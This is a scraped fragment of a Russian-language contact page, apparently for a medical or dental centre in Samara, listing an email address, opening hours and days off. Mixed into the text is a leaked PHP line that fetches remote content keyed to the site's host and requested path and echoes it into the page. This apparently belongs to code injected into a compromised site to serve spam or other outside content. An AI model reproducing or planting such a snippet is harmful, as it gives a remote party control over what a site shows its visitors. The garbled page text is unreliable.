Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта